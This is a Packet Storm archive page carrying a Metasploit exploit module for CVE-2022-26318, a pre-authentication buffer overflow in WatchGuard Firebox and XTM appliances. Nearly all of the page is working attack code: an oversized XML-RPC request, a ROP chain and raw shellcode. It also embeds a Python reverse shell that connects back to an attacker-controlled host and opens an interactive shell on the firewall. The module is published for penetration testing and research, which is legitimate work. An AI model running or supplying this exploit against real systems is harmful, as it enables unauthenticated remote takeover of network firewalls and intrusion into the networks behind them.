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WatchGuard XTM Firebox Unauthenticated Remote Command Execution

🗓️ 29 Mar 2024 00:00:00Reported by Charles FOL, Dylan Pindur, h00die-gr3y, Misterxid, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 821 Views

Exploits buffer overflow in WatchGuard Firebox and XTM appliances, allowing unauthenticated remote command execution. Vulnerable versions: Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2. Upon successful exploitation, results in remote code execution as user nobody.

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`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'zlib'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WatchGuard XTM Firebox Unauthenticated Remote Command Execution',  
'Description' => %q{  
This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox  
and XTM appliances which is built from a cherrypy python backend sending XML-RPC requests to a C binary  
called wgagent using pre-authentication endpoint /agent/login.  
This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x  
before 12.5.9_U2. Successful exploitation results in remote code execution as user nobody.  
},  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module  
'Charles Fol (Ambionics Security)', # discovery  
'Dylan Pindur (AssetNote)', # reverse engineering of CVE-2022-26318'  
'Misterxid' # POC  
],  
'References' => [  
[ 'CVE', '2022-26318' ],  
[ 'URL', 'https://www.ambionics.io/blog/hacking-watchguard-firewalls' ],  
[ 'URL', 'https://www.assetnote.io/resources/research/diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318' ],  
[ 'URL', 'https://github.com/misterxid/watchguard_cve-2022-26318' ],  
[ 'URL', 'https://attackerkb.com/topics/t8Nrnu99ZE/cve-2022-26318' ]  
],  
'License' => MSF_LICENSE,  
'Platform' => [ 'unix' ],  
'Privileged' => false,  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Automatic (Reverse Python Interactive Shell)',  
{  
'Platform' => [ 'unix' ],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_python',  
'SHELL' => '/usr/bin/python'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2022-08-29',  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 8080  
},  
'Notes' => {  
'Stability' => [ SERVICE_RESOURCE_LOSS ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'WatchGuard Firebox base url', '/' ])  
]  
)  
end  
  
def check_watchguard_firebox?  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'auth', 'login'),  
'vars_get' => {  
'from_page' => '/'  
}  
})  
return true if res && res.code == 200 && res.body.include?('Powered by WatchGuard Technologies') && res.body.include?('Firebox')  
  
false  
end  
  
def create_bof_payload  
# temporary filename in /tmp where python payload will be stored.  
@py_fname = "/tmp/#{Rex::Text.rand_text_alphanumeric(4)}.py"  
# xml overflow payload  
payload = '<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'.encode  
payload << ('A' * 3181).encode  
payload << 'MFA>'.encode  
payload << ('<BBBBMFA>' * 3680).encode  
# padding and rop chain  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00"  
payload << "\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6"  
payload << "\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00"  
payload << "\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;"  
payload << "\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00"  
payload << "\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00#{datastore['SHELL']}\x00#{@py_fname}\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef"  
payload << "\x01\x00\x00\x00\x00\x00\x00"  
# shell code to launch an reverse interactive python shell  
# The Watchguard appliance has a very restricted linux command set, readonly root filesystem and no unix shells installed  
# The interactive Python shell (-i) is for now the only way to get shell access  
payload << 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'.encode  
payload << "s.connect((\"#{datastore['LHOST']}\",#{datastore['LPORT']})); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);".encode  
payload << "call([\"#{datastore['SHELL']}\",\"-i\"]);".encode  
payload << "import os; os.remove(\"#{@py_fname}\");".encode  
return Zlib.gzip(payload)  
end  
  
def check  
print_status("Checking if #{peer} can be exploited.")  
return CheckCode::Detected if check_watchguard_firebox?  
  
CheckCode::Safe  
end  
  
def exploit  
print_status("#{peer} - Attempting to exploit...")  
bof_payload = create_bof_payload  
print_status("#{peer} - Sending payload...")  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'agent', 'login'),  
'headers' => {  
'Accept-Encoding' => 'gzip, deflate',  
'Content-Encoding' => 'gzip'  
},  
'data' => bof_payload  
})  
end  
end  
`

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